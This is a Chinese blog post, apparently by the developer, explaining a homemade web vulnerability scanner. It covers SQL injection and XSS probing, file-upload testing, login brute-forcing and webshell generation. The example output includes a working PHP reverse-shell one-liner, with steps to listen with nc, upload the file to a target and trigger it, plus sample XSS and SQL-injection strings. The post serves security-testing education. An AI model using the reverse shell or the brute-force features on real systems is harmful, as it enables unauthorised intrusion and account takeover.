webmap-自制的网络安全工具技术详解

作者想说的:

我一直想做一个可以接入AI的Linux操作系统,然后可以进行主动渗透操作。但是一直研究无果,想做个工具来填充一下我空虚的思路,结果刚好有空余时间,写了这么个东西,我的设计理念几乎就是all in one,即所有相关功能都可以在一个东西上实现,减少切换的麻烦。

WebMap 漏洞扫描器技术解析文档

1. 项目概述

WebMap 漏洞扫描器是一个全面的安全测试工具,用于自动检测网站中的常见安全漏洞。该工具采用模块化设计,集成了多种漏洞检测技术,支持并发扫描,能够高效地发现目标网站中的安全隐患。

主要功能包括:
- SQL 注入检测
- 跨站脚本(XSS)检测
- 文件上传漏洞检测
- Web 框架识别与已知漏洞检查
- 管理页面发现
- 登录表单暴力破解
- WebShell 生成功能

2. 系统架构与主流程

2.1 整体架构

该扫描器采用面向对象设计,主要由一个核心的 `WebScanner` 类封装所有扫描功能,以及一个 `main` 函数处理命令行参数和程序流程控制。

class WebScanner:
    """
    Web漏洞扫描器类,对目标网站执行各种安全检查,包括自动渗透和登录爆破。
    """
    
    def __init__(self, target_url, threads=5, timeout=10, user_agent=None, output_file=None,
                 brute_force=False, username_dict=None, password_dict=None, max_login_attempts=100):
        # 初始化扫描器配置和状态
        # ...
    
    def run_full_scan(self):
        # 运行完整扫描流程
        # ...


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

2.2 扫描主流程

扫描器的主流程在 `run_full_scan` 方法中实现,包含以下步骤:

1. 检查目标可达性
2. 识别 Web 框架
3. 检查已知漏洞
4. 发现管理页面
5. 爬取网站内容
6. 并发扫描各类漏洞(SQL注入、XSS、文件上传)
7. 执行暴力破解(如果启用)
8. 生成扫描报告

def run_full_scan(self):
    """
    运行完整扫描,包括框架识别、已知漏洞检查、后台页面发现、网站爬取和所有漏洞扫描,
    以及可选的登录爆破和自动渗透测试。
    """
    logger.info(f'开始对 {self.target_url} 进行完整扫描')
    start_time = time.time()
    
    try:
        # 检查目标是否可达
        if not self._check_reachable():
            logger.error(f'目标 {self.target_url} 不可达')
            return {'error': f'目标 {self.target_url} 不可达'}

        # 识别Web框架
        framework = self._identify_framework()
        if framework:
            logger.info(f'识别到框架: {framework}')
            self.vulnerabilities['framework'] = framework
            
            # 检查已知漏洞
            known_vulnerabilities = self._check_known_vulnerabilities(framework)
            if known_vulnerabilities:
                self.vulnerabilities['known_vulnerabilities'] = known_vulnerabilities

        # 其他扫描步骤...
        
        # 生成报告
        report = self._generate_report()
        end_time = time.time()
        logger.info(f'扫描完成,耗时 {end_time - start_time:.2f} 秒')
        return report
    except Exception as e:
        logger.error(f'扫描过程中发生错误: {str(e)}')
        return {'error': str(e)}


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

2.3 命令行接口

`main` 函数负责解析命令行参数、初始化扫描器和执行相应功能:

def main():
    # 初始化colorama和打印启动信息
    # ...
    
    # 解析命令行参数
    parser = argparse.ArgumentParser(description='Webmap漏洞扫描器...')
    parser.add_argument('-u', '--url', help='目标URL...')
    # 其他参数定义...
    args = parser.parse_args()
    
    # 参数检查和处理
    if not args.generate_webshell and not args.auto_webshell and not args.url:
        print("错误: 必须提供目标URL参数 (-u/--url) 或使用WebShell生成功能")
        # 显示帮助信息...
        return
    
    # 根据参数执行相应功能(WebShell生成或漏洞扫描)
    if args.generate_webshell:
        # 处理WebShell生成功能
        # ...
    else:
        # 初始化扫描器并执行扫描
        scanner = WebScanner(
            target_url=args.url,
            threads=args.threads,
            # 其他参数...
        )
        report = scanner.run_full_scan()
        # 显示报告...


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3. 核心功能模块详解

3.1 Web 框架识别

框架识别模块通过分析网站响应中的特征来识别目标使用的 Web 框架,识别途径包括:
- Cookie 中的框架特征
- HTTP 头中的框架特征
- HTML 内容中的框架特征

def _identify_framework(self):
    """
    识别目标网站使用的Web框架。
    """
    try:
        response = self.session.get(self.target_url, timeout=self.timeout)
        headers = response.headers
        content = response.text.lower()

        # 检查Cookie中的框架特征
        for cookie in response.cookies:
            cookie_name = cookie.name.lower()
            for framework, signatures in self.framework_signatures.items():
                for signature in signatures:
                    if signature in cookie_name:
                        return framework

        # 检查Headers中的框架特征
        # 检查内容中的框架特征
        # ...

        return None
    except Exception as e:
        logger.error(f'Error identifying framework: {str(e)}')
        return None


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.2 网站爬取

爬取模块采用递归方法遍历网站,收集所有内部链接和表单信息。主要功能包括:
- 递归爬取同一域名下的所有链接
- 提取页面中的表单并识别登录表单
- 限制爬取深度以避免过度扫描

def _crawl_website(self, start_url, depth=0):
    """
    从给定URL开始爬取网站。
    """
    if depth > self.max_depth or start_url in self.crawled_urls:
        return []

    self.crawled_urls.add(start_url)
    crawled_urls = [start_url]

    try:
        response = self.session.get(start_url, timeout=self.timeout)
        if response.status_code != 200 or 'text/html' not in response.headers.get('Content-Type', ''):
            return crawled_urls

        soup = BeautifulSoup(response.text, 'html.parser')

        # 提取HTML中的链接并递归爬取
        links = soup.find_all('a', href=True)
        for link in links:
            # 处理链接并递归爬取...
            # ...

        # 提取表单并识别登录表单
        forms = soup.find_all('form')
        for form in forms:
            # 处理表单数据...
            # ...
    except Exception as e:
        logger.debug(f'Error crawling {start_url}: {str(e)}')

    return crawled_urls


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.3 SQL 注入检测

SQL 注入检测模块通过向 URL 参数中注入测试向量并分析响应来检测漏洞。该模块包含:
- 丰富的 SQL 注入测试向量库
- 基于错误信息、响应时间和内容变化的检测方法
- 并发测试以提高效率

def _test_sql_injection(self, url):
    """
    测试单个URL是否存在SQL注入漏洞。
    """
    vulnerabilities = []
    parsed_url = urlparse(url)

    # 跳过没有查询参数的URL
    if not parsed_url.query:
        return vulnerabilities

    # 分割查询参数
    query_params = parse_qs(parsed_url.query)

    for param in query_params:
        for vector in self.sql_injection_vectors:
            # 创建包含测试向量的修改后URL
            modified_params = query_params.copy()
            modified_params[param] = [vector]
            modified_query = urlencode(modified_params, doseq=True)
            modified_url = urljoin(url, f'{parsed_url.path}?{modified_query}')

            # 测试修改后的URL
            try:
                response = self.session.get(modified_url, timeout=self.timeout)

                # 检查响应中是否有SQL注入的迹象
                if self._is_sql_injection(response):
                    vulnerabilities.append({
                        'url': modified_url,
                        'param': param,
                        'vector': vector,
                        'status_code': response.status_code
                    })
                    logger.info(f'SQL injection vulnerability found at {modified_url} in parameter {param}')
                    break  # 无需为该参数测试其他向量
            except Exception as e:
                logger.debug(f'Error testing SQL injection on {modified_url}: {str(e)}')

    return vulnerabilities


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.4 跨站脚本(XSS)检测

XSS 检测模块通过向 URL 参数注入 JavaScript 测试向量并检查响应中是否反射这些向量来检测漏洞。主要特点:
- 包含多种 XSS 测试向量(基本、属性、绕过技术等)
- 自动编码特殊字符以适应不同的上下文
- 并发测试提高效率

def _test_xss(self, url):
    """
    测试单个URL是否存在XSS漏洞。
    """
    vulnerabilities = []
    parsed_url = urlparse(url)

    # 跳过没有查询参数的URL
    if not parsed_url.query:
        return vulnerabilities

    # 分割查询参数
    query_params = parse_qs(parsed_url.query)

    for param in query_params:
        for vector in self.xss_vectors:
            # 创建包含测试向量的修改后URL
            modified_params = query_params.copy()
            modified_params[param] = [requests.utils.quote(vector)]
            modified_query = urlencode(modified_params, doseq=True)
            modified_url = urljoin(url, f'{parsed_url.path}?{modified_query}')

            # 测试修改后的URL
            try:
                response = self.session.get(modified_url, timeout=self.timeout)

                # 检查向量是否在响应中反射
                if vector in response.text:
                    vulnerabilities.append({
                        'url': modified_url,
                        'param': param,
                        'vector': vector,
                        'status_code': response.status_code
                    })
                    logger.info(f'在 {modified_url} 的 {param} 参数中发现XSS漏洞')
                    break  # 无需为该参数测试其他向量
            except Exception as e:
                logger.debug(f'测试 {modified_url} 的XSS漏洞时出错: {str(e)}')

    return vulnerabilities


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.5 文件上传漏洞检测

文件上传漏洞检测模块尝试向可能存在文件上传功能的页面发送各种类型的文件,并检查上传是否成功。该模块:
- 测试多种文件类型和扩展名绕过技术
- 自动尝试访问上传后的文件以验证漏洞
- 支持PHP、ASP、JSP等多种WebShell测试

def _test_file_upload(self, url):
    """
    测试单个URL是否存在文件上传漏洞。
    """
    vulnerabilities = []

    # 只测试可能处理文件上传的URL
    if 'upload' not in url.lower() and 'file' not in url.lower():
        return vulnerabilities

    for filename, content, content_type in self.file_upload_vectors:
        try:
            # 创建multipart/form-data请求
            files = {'file': (filename, content, content_type)}
            response = self.session.post(url, files=files, timeout=self.timeout)

            # 检查文件是否可能上传成功
            if response.status_code < 400 and ('success' in response.text.lower() or 'uploaded' in response.text.lower()):
                # 尝试访问上传的文件
                upload_dirs = ['/uploads/', '/files/', '/userfiles/', '/docs/', '/images/']
                found = False

                for upload_dir in upload_dirs:
                    uploaded_file_url = urljoin(self.target_url, f'{upload_dir}{filename}')
                    try:
                        file_response = self.session.get(uploaded_file_url, timeout=self.timeout)
                        if file_response.status_code == 200:
                            vulnerabilities.append({
                                'url': url,
                                'file_url': uploaded_file_url,
                                'filename': filename,
                                'content_type': content_type,
                                'status_code': response.status_code
                            })
                            logger.info(f'在 {url} 发现文件上传漏洞。上传的文件可通过 {uploaded_file_url} 访问')
                            found = True
                            break
                    except Exception:
                        continue
            # ...
        except Exception as e:
            logger.debug(f'测试 {url} 的文件上传漏洞时出错: {str(e)}')

    return vulnerabilities


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.6 登录表单暴力破解

暴力破解模块针对识别出的登录表单,尝试使用用户名和密码字典进行登录。主要功能:
- 自动识别表单中的用户名和密码字段
- 限制最大尝试次数以避免过度攻击
- 智能检测登录成功状态

def _brute_force_login(self, form_data):
    """
    对登录表单执行暴力破解。
    """
    username_field, password_field = self._get_login_credentials(form_data)
    if not username_field or not password_field:
        logger.warning(f'无法识别登录表单中的用户名和密码字段: {form_data["url"]}')
        return []

    logger.info(f'开始对 {form_data["url"]} 执行暴力破解...')

    # 限制尝试次数
    attempts = 0
    credentials_list = list(itertools.product(self.username_dict, self.password_dict))
    successful_credentials = []

    for username, password in credentials_list:
        if attempts >= self.max_login_attempts:
            logger.info(f'已达到最大尝试次数 {self.max_login_attempts},停止暴力破解')
            break

        attempts += 1
        # 准备表单数据并发送登录请求
        # ...
        
        # 检查登录是否成功
        if self._is_login_successful(response, form_data['url']):
            logger.info(f'登录成功: {username}/{password}')
            successful_credentials.append({
                'url': form_data['url'],
                'username': username,
                'password': password
            })
            self.cracked_credentials.extend(successful_credentials)

    return successful_credentials


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

3.7 WebShell 生成

WebShell 生成模块提供了多种类型和模板的 WebShell 代码生成功能,支持:
- PHP、ASP、JSP 等多种语言的 WebShell
- 多种模板(简单、POST、Base64编码、混淆、反向Shell等)
- 根据文件扩展名自动选择 WebShell 类型

def generate_webshell(self, shell_type, template_name='simple', ip=None, port=None):
    """
    生成webshell代码
    """
    if shell_type.lower() not in self.webshell_templates:
        logger.error(f'不支持的WebShell类型: {shell_type}')
        return None

    templates = self.webshell_templates[shell_type.lower()]
    if template_name not in templates:
        logger.error(f'不支持的WebShell模板: {template_name}')
        return None

    webshell_code = templates[template_name]

    # 替换反向shell中的IP和端口
    if 'reverse_shell' in template_name and ip and port:
        webshell_code = webshell_code.replace('{ip}', ip).replace('{port}', str(port))
    elif 'reverse_shell' in template_name:
        logger.warning('生成反向shell需要提供IP和端口')
        return None

    logger.info(f'生成了{shell_type}类型的WebShell,模板: {template_name}')
    return webshell_code


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

4. 技术实现亮点

4.1 并发扫描机制

扫描器使用 Python 的 `concurrent.futures.ThreadPoolExecutor` 实现并发扫描,显著提高了扫描效率:

# 扫描SQL注入漏洞示例
logger.info('开始扫描SQL注入漏洞')
with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
    sql_injection_futures = {executor.submit(self._test_sql_injection, url): url for url in crawled_urls}
    sql_injection_vulns = []
    for future in concurrent.futures.as_completed(sql_injection_futures):
        vulns = future.result()
        if vulns:
            sql_injection_vulns.extend(vulns)


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

4.2 多维度漏洞检测

对于 SQL 注入等漏洞,扫描器采用多种检测方法提高准确率:

def _is_sql_injection(self, response):
    """
    检查响应是否表明存在SQL注入漏洞。
    """
    # 检查响应内容中的SQL错误信息
    content = response.text.lower()
    for error in sql_errors:
        if error in content:
            return True

    # 检查数据库版本泄露
    for pattern in db_version_patterns:
        if re.search(pattern, content):
            return True

    # 检查基于布尔的SQL注入(响应时间和内容长度差异)
    if response.elapsed.total_seconds() > self.timeout * 1.5:
        return True

    return False


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

4.3 灵活的配置和可扩展性

扫描器提供了丰富的命令行参数,允许用户根据需要配置各种扫描选项:

parser = argparse.ArgumentParser(description='Webmap漏洞扫描器 - 一个全面的Web漏洞扫描工具')
parser.add_argument('-u', '--url', help='目标URL - 指定要扫描的网站URL')
parser.add_argument('-t', '--threads', type=int, default=10, help='线程数量 (默认: 10)')
parser.add_argument('-o', '--output', help='报告输出文件')
parser.add_argument('-d', '--depth', type=int, default=3, help='爬取深度 (默认: 3)')
parser.add_argument('-T', '--timeout', type=int, default=10, help='请求超时时间 (默认: 10)')
# 更多参数...


<mcfile name="web_vulnerability_scanner.py" path="h:\work\webmap\web_vulnerability_scanner.py"></mcfile>

5. 输入输出示例

5.1 基本扫描示例

输入:

python web_vulnerability_scanner.py -u http://example.com

输出:

=============================================================

 I8,        8        ,8I            88           88b           d88                             
 `8b       d8b       d8'            88           888b         d888                             
  "8,     ,8"8,     ,8"             88           88`8b       d8'88                             
   Y8     8P Y8     8P   ,adPPYba,  88,dPPYba,   88 `8b     d8' 88  ,adPPYYba,  8b,dPPYba,    
   `8b   d8' `8b   d8'  a8P_____88  88P'    "8a  88  `8b   d8'  88  ""     `Y8  88P'    "8a   
    `8a a8'   `8a a8'   8PP""""""   88       d8  88   `8b d8'   88  ,adPPPPP88  88       d8   
     `8a8'     `8a8'    "8b,   ,aa  88b,   ,a8"  88    `888'    88  88,    ,88  88b,   ,a8"   
      `8'       `8'      `"Ybbd8"'  8Y"Ybbd8"'   88     `8'     88  `"8bbdP"Y8  88`YbbdP"'    
                                                                                88            
                                                                                88            

            Wyl-K - Web Vulnerability Scanner        
            Version: 1.0.1                           

=============================================================
[+] 功能: 检测SQL注入、XSS、文件上传等常见Web漏洞            
[+] 用法: webmap -u <目标URL>   

=============================================================

=== 扫描摘要 ===
目标URL: http://example.com
扫描时间: 2023-11-11T12:34:56.789012
识别的框架: WordPress
发现的管理页面: 1
发现的登录表单: 1
破解的凭证数: 0
已爬取URL数: 25
总漏洞数: 2
报告文件: scan_report_20231111_123456.json
==================

=== 漏洞详情 ===
1. xss
   URL: http://example.com/search?query=<script>alert('XSS')</script>
   参数: query

2. sql_injection
   URL: http://example.com/product?id=1' OR '1'='1
   参数: id

5.2 WebShell 生成示例

输入:

python web_vulnerability_scanner.py --generate-webshell --webshell-type php --webshell-template reverse_shell --reverse-ip 192.168.1.100 --reverse-port 4444

输出:

=============================================================

 I8,        8        ,8I            88           88b           d88                             
 `8b       d8b       d8'            88           888b         d888                             
  "8,     ,8"8,     ,8"             88           88`8b       d8'88                             
   Y8     8P Y8     8P   ,adPPYba,  88,dPPYba,   88 `8b     d8' 88  ,adPPYYba,  8b,dPPYba,    
   `8b   d8' `8b   d8'  a8P_____88  88P'    "8a  88  `8b   d8'  88  ""     `Y8  88P'    "8a   
    `8a a8'   `8a a8'   8PP""""""   88       d8  88   `8b d8'   88  ,adPPPPP88  88       d8   
     `8a8'     `8a8'    "8b,   ,aa  88b,   ,a8"  88    `888'    88  88,    ,88  88b,   ,a8"   
      `8'       `8'      `"Ybbd8"'  8Y"Ybbd8"'   88     `8'     88  `"8bbdP"Y8  88`YbbdP"'    
                                                                                88            
                                                                                88            

            Wyl-K - Web Vulnerability Scanner        
            Version: 1.0.1                           

=============================================================
[+] 功能: 检测SQL注入、XSS、文件上传等常见Web漏洞            
[+] 用法: webmap -u <目标URL>   

=============================================================

[+] WebShell生成功能
====================================

生成的php WebShell (reverse_shell):
------------------------------------
<?php $sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
------------------------------------

使用方法:
1. 在你的机器上监听端口: nc -lvnp 4444
2. 将此代码保存为.php文件并上传到目标服务器
3. 访问该文件触发反向连接
====================================

6. 总结

Wyl-K Web 漏洞扫描器是一个功能全面的安全测试工具,其核心价值在于:

1. **全面的漏洞检测能力** - 集成了多种常见 Web 漏洞的检测方法
2. **高效的扫描机制** - 通过并发技术提高扫描速度
3. **实用的渗透工具** - 内置 WebShell 生成和暴力破解功能
4. **灵活的配置选项** - 提供丰富的命令行参数以适应不同场景

该工具适合用于安全研究、渗透测试和网站安全评估。通过持续优化和功能扩展,可以进一步提高其检测能力和实用性。

这是一个很好用的工具(大嘘)

代码很烂,抱歉,我会努力提升自己的!有什么建议可以发一下,一起交流交流!

7. 项目地址

GitHub地址
B站主页

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值